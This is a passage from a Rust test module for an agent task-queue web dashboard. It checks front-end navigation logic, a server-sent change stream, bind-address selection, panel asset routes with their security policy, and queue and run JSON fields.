13043        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13044        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13045        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13046
13047        // The panel sandbox and its CSP are untouched by any of this.
13048        assert!(APP_JS.contains("sandbox: \"\""));
13049        assert!(!APP_JS.contains("sandbox: \"allow"));
13050    }
13051
13052    #[test]
13053    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13054        // consumeQueueFocus() clears an active Backlog search before it can
13055        // scroll to the target card (the sections list is hidden while a
13056        // search is showing), by recursing back into renderQueue(). The
13057        // fixer's first cut nulled state.queueFocus before that recursive
13058        // call, so the second pass saw nothing to jump to and the jump was
13059        // silently dropped whenever a notification's link was opened with a
13060        // stale search still active. state.queueFocus must only be cleared
13061        // right before jumpToTask() actually runs.
13062        assert!(
13063            APP_JS.contains(
13064                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
13065            ),
13066            "the search-clearing branch must run before state.queueFocus is cleared, or the \
13067             recursive renderQueue() call has nothing left to jump to"
13068        );
13069        assert!(
13070            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13071            "state.queueFocus must be cleared only once the jump has landed, so a card that \
13072             arrives later still gets it"
13073        );
13074        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13075        assert!(APP_JS.contains("is not in the current Backlog."));
13076        assert!(APP_JS.contains("li.card[data-task-id=\""));
13077        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13078        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13079        assert!(APP_CSS.contains(".card-permalink"));
13080        assert!(APP_CSS.contains(".queue-focus-status"));
13081        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13082    }
13083
13084    #[test]
13085    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13086        // The task's own repro: only the link text inside .notice-meta was
13087        // clickable, so a tap on the message, the timestamp, or the card's
13088        // padding did nothing - on a phone that reads as "the card doesn't
13089        // work" even though the tiny link inside it did. Mark read / Dismiss
13090        // must keep working independently of this: `.closest("a, button")`
13091        // is what lets a tap that actually lands on those elements fall
13092        // through instead of being hijacked into a navigation.
13093        assert!(
13094            APP_JS.contains(
13095                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13096            ),
13097            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13098        );
13099    }
13100
13101    #[test]
13102    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13103        assert!(
13104            APP_JS.contains("round.verified_head !== round.head"),
13105            "a round that verified an earlier commit must be visibly distinct from one that \
13106             verified the head reviewers are looking at now"
13107        );
13108        assert!(
13109            APP_JS.contains("round.verified_at"),
13110            "when a check ran must be on the wire, not just which commit"
13111        );
13112        assert!(
13113            APP_JS.contains("resource_blocked"),
13114            "a command magi never got to run (shared build cache contention) must not render \
13115             the same as a command that ran and failed"
13116        );
13117    }
13118
13119    #[test]
13120    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13121        // Every KPI tile but Total runs and Completion names an exact
13122        // RunStatus and hands it to openRunsFiltered(), which is what wires
13123        // the click into state.runsFilter.status (matchesFilter's own
13124        // status check) rather than the coarser runsStateFilter chips. Each
13125        // status literal here must be one of the strings runSection() (and
13126        // isStale()) actually compare a run's own `status` field against -
13127        // a status this dashboard invented would filter to nothing.
13128        assert!(
13129            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13130            "every KPI tile built through statusTile() must route its click through \
13131             openRunsFiltered, the single place that sets the Runs filter"
13132        );
13133        for (label, status) in [
13134            ("Merged", "merged"),
13135            ("Ready", "ready"),
13136            ("Blocked", "blocked"),
13137            ("Stalled", "stalled"),
13138        ] {
13139            let call = format!("statusTile(\"{label}\", t.{status}, ");
13140            assert!(
13141                APP_JS.contains(&call),
13142                "expected the {label} KPI tile built via {call}..."
13143            );
13144            assert!(
13145                APP_JS.contains(&format!("status === \"{status}\"")),
13146                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13147                 compare a run against, not one invented only for the stats tile"
13148            );
13149        }
13150        assert!(
13151            APP_JS.contains("function openRunsFiltered(status)"),
13152            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13153        );
13154        assert!(
13155            APP_JS.contains(
13156                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13157            ),
13158            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13159        );
13160        // applyRoute() only flips which view is visible for a plain `#runs`
13161        // hash - it does not itself redraw the list (see applyRoute's own
13162        // handling below) - so openRunsFiltered must call renderRuns()
13163        // itself, and must call applyRoute() too so the view flips even
13164        // when the hash string doesn't change (the operator may already be
13165        // on the Runs view when a tile is tapped, which fires no
13166        // hashchange event at all).
13167        assert!(
13168            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
13169            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13170             hashchange event that may never fire"
13171        );
13172    }
13173
13174    #[test]
13175    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13176        // A stats tile can leave state.runsFilter.status set to something
13177        // done-by-construction (e.g. "merged") - picking "Active" afterward
13178        // must drop it the same way an incompatible tree section is already
13179        // dropped, or the Runs list renders permanently empty with no way
13180        // for the operator to tell why.
13181        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13182        assert!(
13183            APP_JS.contains(
13184                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
13185            ),
13186            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13187             guard for an incompatible tree section"
13188        );
13189    }
13190
13191    #[test]
13192    fn every_stats_queue_tile_names_a_real_queue_section() {
13193        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
13194        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
13195        // (consumeQueueSectionFocus finds no matching <details> and drops
13196        // the focus) rather than fail loudly, so pin every key against the
13197        // section list it has to resolve against.
13198        assert!(
13199            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13200            "every queue tile built through sectionTile() must route its click through \
13201             openQueueSectionFocus"
13202        );
13203        for key in ["upnext", "running", "done", "held", "blocked"] {
13204            assert!(
13205                APP_JS.contains(&format!("{{ key: \"{key}\",")),
13206                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13207            );
13208        }
13209        // Queued and Failed intentionally both resolve to "upnext" - the
13210        // same section queueSection() itself files them under - rather than
13211        // getting a section each.
13212        for line in [
13213            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13214            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13215            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13216            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13217            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13218            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13219        ] {
13220            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13221        }
13222    }
13223
13224    #[test]
13225    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13226        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
13227        // above for the section-focus channel a stats queue tile drives:
13228        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
13229        // through the stale-search-clear recursion into renderQueue(), and
13230        // clear it only once revealQueueSection() is actually about to run -
13231        // the same trap that once silently dropped a task-focus jump.
13232        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13233        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13234        assert!(APP_JS.contains("function revealQueueSection(details)"));
13235        assert!(
13236            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
13237            "renderQueue() must consume both focus channels on every pass"
13238        );
13239        assert!(
13240            APP_JS.contains(
13241                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
13242            ),
13243            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13244             the recursive renderQueue() call has nothing left to reveal"
13245        );
13246        assert!(
13247            APP_JS.contains(
13248                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
13249            ),
13250            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13251        );
13252        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
13253        // task-focus form of the hash - a plain `#queue` navigation only
13254        // flips which view is visible. openQueueSectionFocus() must
13255        // therefore call renderQueue() itself, and applyRoute() too so the
13256        // view flips even when the hash doesn't change (the Backlog may
13257        // already be open when a tile is tapped, firing no hashchange
13258        // event at all).
13259        assert!(
13260            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
13261            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13262             hashchange event that may never fire"
13263        );
13264    }
13265
13266    #[tokio::test]
13267    async fn the_change_stream_announces_the_current_revisions_on_connect() {
13268        let f = Fixture::start().await;
13269
13270        let mut socket = tokio::net::TcpStream::connect(f.addr)
13271            .await
13272            .expect("connect");
13273        socket
13274            .write_all(
13275                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13276            )
13277            .await
13278            .expect("write request");
13279
13280        // Read until the first event arrives rather than to end of stream: the
13281        // stream is endless by design, which is the point of the route.
13282        let mut seen = String::new();
13283        let mut buf = [0u8; 1024];
13284        while !seen.contains("event: change") {
13285            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13286                .await
13287                .expect("the stream must speak within five seconds")
13288                .expect("read");
13289            assert!(read > 0, "the server closed the change stream: {seen}");
13290            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13291        }
13292
13293        assert!(
13294            seen.to_lowercase()
13295                .contains("content-type: text/event-stream"),
13296            "the browser only reconnects automatically for a real SSE stream: {seen}"
13297        );
13298        let data = seen
13299            .lines()
13300            .find_map(|l| l.strip_prefix("data:"))
13301            .expect("a data line");
13302        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13303        assert!(
13304            payload["queue_rev"].is_u64()
13305                && payload["runs_rev"].is_u64()
13306                && payload["questions_rev"].is_u64()
13307                && payload["talks_rev"].is_u64()
13308                && payload["notifications_rev"].is_u64()
13309                && payload["loop_rev"].is_u64(),
13310            "the client needs one revision per store to know what to refetch, \
13311             and `talks_rev` is the only notification a standing talk gets - a \
13312             phone whose radio slept through a turn learns about it here, as \
13313             does one whose operator started the loop from another device: \
13314             {payload}"
13315        );
13316
13317        // The front end re-polls health on a timer and on wake, and takes the
13318        // revisions from that answer whenever the stream is not up. So health
13319        // has to carry every key the stream carries: a phone on a link that
13320        // will not hold an SSE connection is exactly the phone that must still
13321        // notice a question, and a missing key there is not a 500 but a UI
13322        // that quietly stops updating.
13323        let health = f.get("/api/health").await.json();
13324        for key in [
13325            "queue_rev",
13326            "runs_rev",
13327            "questions_rev",
13328            "talks_rev",
13329            "notifications_rev",
13330            "loop_rev",
13331        ] {
13332            assert!(
13333                health[key].is_u64(),
13334                "health is the change stream's fallback and is missing `{key}`: {health}"
13335            );
13336        }
13337    }
13338
13339    #[tokio::test]
13340    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13341        let f = Fixture::start().await;
13342        let before = f.get("/api/health").await.json()["talks_rev"]
13343            .as_u64()
13344            .expect("talks_rev");
13345
13346        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13347        std::thread::sleep(Duration::from_millis(10));
13348        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13349        on_disk.turns.push(crate::talk::Turn {
13350            breaks: Some(Vec::new()),
13351            who: crate::talk::Who::Operator,
13352            body: "a new turn".to_owned(),
13353            at: Timestamp::now(),
13354            attachments: Vec::new(),
13355            usage: None,
13356        });
13357        f.talks().put(&mut on_disk).expect("record a turn");
13358
13359        let after = f.get("/api/health").await.json()["talks_rev"]
13360            .as_u64()
13361            .expect("talks_rev");
13362        assert_ne!(
13363            before, after,
13364            "a phone must be able to notice a talk's reply without polling every store"
13365        );
13366    }
13367
13368    #[test]
13369    fn bind_reads_back_from_the_spelling_the_cli_prints() {
13370        // The CLI shows the default in `--help` and parses whatever comes
13371        // back, so the two directions have to agree or `--bind auto` breaks
13372        // the moment someone copies the help text.
13373        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13374            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13375        }
13376        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13377        assert!("everywhere".parse::<Bind>().is_err());
13378    }
13379
13380    #[test]
13381    fn an_explicit_bind_address_is_taken_verbatim() {
13382        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13383
13384        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13385
13386        assert_eq!(addr, asked);
13387        assert!(
13388            warning.is_none(),
13389            "an operator who named an address gets no lecture"
13390        );
13391    }
13392
13393    #[test]
13394    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13395        let (addr, warning) = resolve_bind(&Bind::Auto);
13396
13397        // This has to hold on a CI runner with no `tailscale` and on a dev box
13398        // with one, so the invariant asserted is the one shared by both
13399        // outcomes: the address is either a real tailnet address offered
13400        // without comment, or loopback with an explanation. What must never
13401        // happen is a silent fallback - an operator told "listening on
13402        // 127.0.0.1" with no reason would go looking for a firewall.
13403        match addr {
13404            IpAddr::V4(ip) if is_tailnet(&ip) => {
13405                assert!(warning.is_none(), "a tailnet address needs no warning");
13406            }
13407            other => {
13408                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13409                let warning = warning.expect("a fallback has to explain itself");
13410                assert!(
13411                    warning.contains("127.0.0.1") && warning.contains("local-only"),
13412                    "the warning says what happened and what it costs: {warning}"
13413                );
13414            }
13415        }
13416    }
13417
13418    #[test]
13419    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13420        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
13421        // boundary cases are what stop us binding to some other tool's idea of
13422        // an address.
13423        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13424        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13425        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13426        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13427        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13428    }
13429
13430    #[test]
13431    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13432        let ids = vec![
13433            "20260902-140501-aaaa".to_owned(),
13434            "20260902-140502-aabb".to_owned(),
13435        ];
13436
13437        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13438        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13439        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13440
13441        assert_eq!(missing.status, StatusCode::NOT_FOUND);
13442        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13443        assert_eq!(short, "20260902-140502-aabb");
13444    }
13445    #[tokio::test]
13446    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13447        // The prompt tells agents to reference attachments by bare filename.
13448        // A document served at `.../panel` resolves `shot.png` against its own
13449        // directory, i.e. `.../shot.png`, which is not the asset route - so a
13450        // panel written exactly as instructed showed broken images. Caught by
13451        // looking at a real one in a browser, not by reading the code.
13452        let fx = Fixture::start().await;
13453        let id = panel(
13454            &fx,
13455            "<img src=\"shot.png\">",
13456            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13457        );
13458
13459        // The frame's own URL ends in a filename, so its siblings are reachable.
13460        let doc = fx
13461            .get(&format!("/api/questions/{id}/panel/index.html"))
13462            .await;
13463        assert_eq!(doc.status, 200, "{}", doc.body);
13464        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13465
13466        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13467        assert_eq!(sibling.status, 200, "{}", sibling.body);
13468        assert_eq!(sibling.header("content-type"), Some("image/png"));
13469        assert_eq!(
13470            sibling.header("content-security-policy"),
13471            Some(PANEL_CSP),
13472            "the sibling route must carry the same policy as the asset route"
13473        );
13474
13475        // The original spelling keeps working: HEAD on it is how the front end
13476        // decides whether to mount a frame at all.
13477        assert_eq!(
13478            fx.head(&format!("/api/questions/{id}/panel")).await.status,
13479            200
13480        );
13481    }
13482
13483    #[test]
13484    fn delta_stamps_cover_add_update_remove_and_noop() {
13485        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13486        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13487        let delta = diff_stamps(&before, &after, 42);
13488        assert_eq!(delta.base, 42);
13489        assert_eq!(delta.changed, ["b", "c"]);
13490        assert_eq!(delta.removed, ["a"]);
13491        let same = diff_stamps(&after, &after, 43);
13492        assert!(same.changed.is_empty() && same.removed.is_empty());
13493        assert_ne!(stamps_revision(&before), stamps_revision(&after));
13494        let nanos: Stamps = [("b".into(), (2, 20))].into();
13495        let same_ms: Stamps = [("b".into(), (3, 20))].into();
13496        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13497        assert_eq!(stamps_revision(&Stamps::new()), 0);
13498    }
13499
13500    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13501        std::fs::create_dir_all(home.join("runs")).unwrap();
13502        Arc::new(Ui::new(
13503            Queue::at(home.join("queue")),
13504            Questions::at(home.join("questions")),
13505            Talks::at(home.join("talks")),
13506            home.join("runs"),
13507            home.to_owned(),
13508            PathBuf::from("/repo/magi"),
13509        ))
13510    }
13511
13512    #[tokio::test]
13513    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13514        let home = TempDir::new().unwrap();
13515        let ui = delta_test_ui(home.path());
13516        let mut task = Task::new(
13517            "stream task".into(),
13518            "text".into(),
13519            PathBuf::from("/repo"),
13520            Source::Human,
13521        );
13522        ui.queue.put(&mut task).unwrap();
13523        let response = events(State(ui.clone())).await.into_response();
13524        let mut stream = response.into_body().into_data_stream();
13525        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13526            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13527                .await
13528                .unwrap()
13529                .unwrap()
13530                .unwrap();
13531            let text = String::from_utf8(chunk.to_vec()).unwrap();
13532            let data = text
13533                .lines()
13534                .find_map(|line| {
13535                    line.strip_prefix("data: ")
13536                        .or_else(|| line.strip_prefix("data:"))
13537                })
13538                .unwrap();
13539            serde_json::from_str(data).unwrap()
13540        }
13541        let initial = change(&mut stream).await;
13542        assert!(initial.get("queue_delta").is_none());
13543        task.instruction.push_str(" changed");
13544        ui.queue.put(&mut task).unwrap();
13545        let updated = change(&mut stream).await;
13546        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13547        assert_eq!(
13548            updated["queue_delta"]["changed"],
13549            serde_json::json!([task.id])
13550        );
13551        assert_eq!(
13552            updated["queue_rev"].as_u64(),
13553            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13554        );
13555        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13556        let removed = change(&mut stream).await;
13557        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13558        assert_eq!(
13559            removed["queue_delta"]["removed"],
13560            serde_json::json!([task.id])
13561        );
13562    }
13563
13564    #[tokio::test]
13565    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13566        let home = TempDir::new().unwrap();
13567        let ui = delta_test_ui(home.path());
13568        let queue = ui.queue.clone();
13569        let query = |ids: Option<&str>| {
13570            Query(ListQuery {
13571                limit: Some(2),
13572                ids: ids.map(str::to_owned),
13573            })
13574        };
13575        let mut root = Task::new(
13576            "root".into(),
13577            "instruction".into(),
13578            PathBuf::from("/repo"),
13579            Source::Human,
13580        );
13581        queue.put(&mut root).unwrap();
13582        let mut blocked = Task::new(
13583            "blocked".into(),
13584            "instruction".into(),
13585            PathBuf::from("/repo"),
13586            Source::Human,
13587        );
13588        blocked.block(vec![root.id.clone()], None);
13589        queue.put(&mut blocked).unwrap();
13590        let whole =
13591            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13592                .unwrap();
13593        let subset = serde_json::to_value(
13594            queue_list(State(ui.clone()), query(Some(&root.id)))
13595                .await
13596                .unwrap()
13597                .0,
13598        )
13599        .unwrap();
13600        assert_eq!(whole, subset, "requested root plus its blocked dependent");
13601        let blockers = serde_json::to_value(
13602            queue_list(State(ui.clone()), query(Some("")))
13603                .await
13604                .unwrap()
13605                .0,
13606        )
13607        .unwrap();
13608        assert_eq!(blockers.as_array().unwrap().len(), 1);
13609        assert_eq!(blockers[0]["id"], blocked.id);
13610        assert_eq!(
13611            blockers[0]["waits_on"],
13612            whole
13613                .as_array()
13614                .unwrap()
13615                .iter()
13616                .find(|row| row["id"] == blocked.id)
13617                .unwrap()["waits_on"]
13618        );
13619
13620        for id in [
13621            "20260902-140501-aaaa",
13622            "20260902-140502-bbbb",
13623            "20260902-140503-cccc",
13624        ] {
13625            write_run(&ui.runs, id, RunStatus::Merged);
13626        }
13627        let old = serde_json::to_value(
13628            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13629                .await
13630                .unwrap()
13631                .0,
13632        )
13633        .unwrap();
13634        assert!(
13635            old.as_array().unwrap().is_empty(),
13636            "older updates must not enter the window"
13637        );
13638        let newest = serde_json::to_value(
13639            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13640                .await
13641                .unwrap()
13642                .0,
13643        )
13644        .unwrap();
13645        assert_eq!(newest.as_array().unwrap().len(), 1);
13646        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13647
13648        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13649        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13650        let talks = serde_json::to_value(
13651            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13652                .await
13653                .unwrap()
13654                .0,
13655        )
13656        .unwrap();
13657        assert_eq!(talks.as_array().unwrap().len(), 1);
13658        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13659        assert_eq!(
13660            serde_json::to_value(
13661                talks_list(State(ui.clone()), query(Some("")))
13662                    .await
13663                    .unwrap()
13664                    .0
13665            )
13666            .unwrap(),
13667            serde_json::json!([])
13668        );
13669    }
13670
13671    #[tokio::test]
13672    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13673    async fn delta_payload_benchmark() {
13674        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13675        let ui = delta_test_ui(&home);
13676        let query = |ids: Option<String>| {
13677            Query(ListQuery {
13678                limit: Some(50),
13679                ids,
13680            })
13681        };
13682        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13683        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13684        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13685        let queue_id = queue
13686            .iter()
13687            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13688            .unwrap_or(&queue[0])
13689            .task
13690            .id
13691            .clone();
13692        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13693            .await
13694            .unwrap()
13695            .0;
13696        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13697            .await
13698            .unwrap()
13699            .0;
13700        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13701            .await
13702            .unwrap()
13703            .0;
13704        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13705        eprintln!(
13706            "DELTA_PAYLOAD {}",
13707            serde_json::json!({
13708                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13709                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13710                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13711                "counts": [queue.len(), runs.len(), talks.len()],
13712                "blocked": queue_delta.len() - 1,
13713            })
13714        );
13715    }
13716
13717    #[test]
13718    fn runs_revision_moves_when_deleting_an_older_run() {
13719        let temp = TempDir::new().expect("tempdir");
13720        let runs = temp.path().join("runs");
13721        std::fs::create_dir_all(&runs).expect("create runs dir");
13722
13723        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13724
13725        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13726        std::thread::sleep(Duration::from_millis(10));
13727        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13728
13729        let rev_before = runs_revision(&runs);
13730        assert!(rev_before > 0);
13731
13732        let old_dir = runs.join("20260901-100000-old1");
13733        std::fs::remove_dir_all(&old_dir).expect("remove old run");
13734
13735        let rev_after = runs_revision(&runs);
13736        assert_ne!(
13737            rev_before, rev_after,
13738            "deleting an older run must change the revision so other clients see the deletion"
13739        );
13740    }
13741
13742    /// A run's own `run.json` on an explicit `runs` root, bypassing the
13743    /// process-global home entirely — `RunState::save` writes through
13744    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
13745    /// (see `tests::home_lock` in the integration suite for why).
13746    fn write_state(runs: &FsPath, state: &RunState) {
13747        let dir = runs.join(&state.id);
13748        std::fs::create_dir_all(&dir).expect("run dir");
13749        std::fs::write(
13750            dir.join("run.json"),
13751            serde_json::to_string_pretty(state).expect("serialize run"),
13752        )
13753        .expect("write run.json");
13754    }
13755
13756    /// A seat starting or finishing is a write to `run.json` like any other,
13757    /// so it moves the same revision the change stream already watches —
13758    /// nothing new for `/api/events` to learn, but the property this feature
13759    /// depends on to reach the phone without a poll.
13760    #[test]
13761    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13762        let temp = TempDir::new().expect("tempdir");
13763        let runs = temp.path().join("runs");
13764        std::fs::create_dir_all(&runs).expect("create runs dir");
13765        let mut state = RunState::new(
13766            PathBuf::from("/repo/magi"),
13767            "main".to_owned(),
13768            "0123456789abcdef".to_owned(),
13769            "task".to_owned(),
13770            Config::default(),
13771        );
13772        state.id = "20260902-100000-c0de".to_owned();
13773        write_state(&runs, &state);
13774
13775        let rev_idle = runs_revision(&runs);
13776        std::thread::sleep(Duration::from_millis(10));
13777        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13778        write_state(&runs, &state);
13779        let rev_started = runs_revision(&runs);
13780        assert_ne!(
13781            rev_idle, rev_started,
13782            "a seat starting must move the revision"
13783        );
13784
13785        std::thread::sleep(Duration::from_millis(10));
13786        state.seat_finished("judge-1");
13787        write_state(&runs, &state);
13788        let rev_finished = runs_revision(&runs);
13789        assert_ne!(
13790            rev_started, rev_finished,
13791            "and clearing it again must move the revision a second time"
13792        );
13793    }
13794
13795    #[tokio::test]
13796    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13797        // `TaskView` flattens `Task`, so this is really asserting that
13798        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
13799        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
13800        // never touched web.rs, so nothing here caught it if it had.
13801        let fx = Fixture::start().await;
13802        let q = fx.queue();
13803
13804        let mut t = Task::new(
13805            "Task".to_owned(),
13806            "Instruction".to_owned(),
13807            PathBuf::from("/repo"),
13808            Source::Human,
13809        );
13810        t.block(
13811            vec!["20260101-000000-dead".to_owned()],
13812            Some("waiting on Task 1".to_owned()),
13813        );
13814        t.answers.push(crate::queue::AnsweredQuestion {
13815            question: "Which backend?".to_owned(),
13816            answer: "SQLite".to_owned(),
13817        });
13818        q.put(&mut t).expect("put t");
13819
13820        let res = fx.get("/api/queue").await;
13821        assert_eq!(res.status, 200);
13822        let list = res.json();
13823        let view = list
13824            .as_array()
13825            .expect("array")
13826            .iter()
13827            .find(|v| v["id"] == t.id)
13828            .expect("task in list");
13829        assert_eq!(view["status_str"], "blocked");
13830        assert_eq!(
13831            view["blocked_by"],
13832            serde_json::json!(["20260101-000000-dead"])
13833        );
13834        assert_eq!(view["block_reason"], "waiting on Task 1");
13835        assert_eq!(view["answers"][0]["question"], "Which backend?");
13836        assert_eq!(view["answers"][0]["answer"], "SQLite");
13837
13838        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
13839        // but never `answers` - that is a settled decision, not state
13840        // describing the current block, so it survives.
13841        let res = fx
13842            .post(&format!("/api/queue/{}/hold", t.short()), None)
13843            .await;
13844        assert_eq!(res.status, 200);
13845        let held = res.json();
13846        assert_eq!(held["status_str"], "held");
13847        assert_eq!(held["blocked_by"], serde_json::json!([]));
13848        assert!(held["block_reason"].is_null());
13849        assert_eq!(held["answers"][0]["answer"], "SQLite");
13850    }
13851
13852    #[tokio::test]
13853    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13854        let fx = Fixture::start().await;
13855        let q = fx.queue();
13856        let mk = |title: &str| {
13857            Task::new(
13858                title.to_owned(),
13859                "Instruction".to_owned(),
13860                PathBuf::from("/repo"),
13861                Source::Human,
13862            )
13863        };
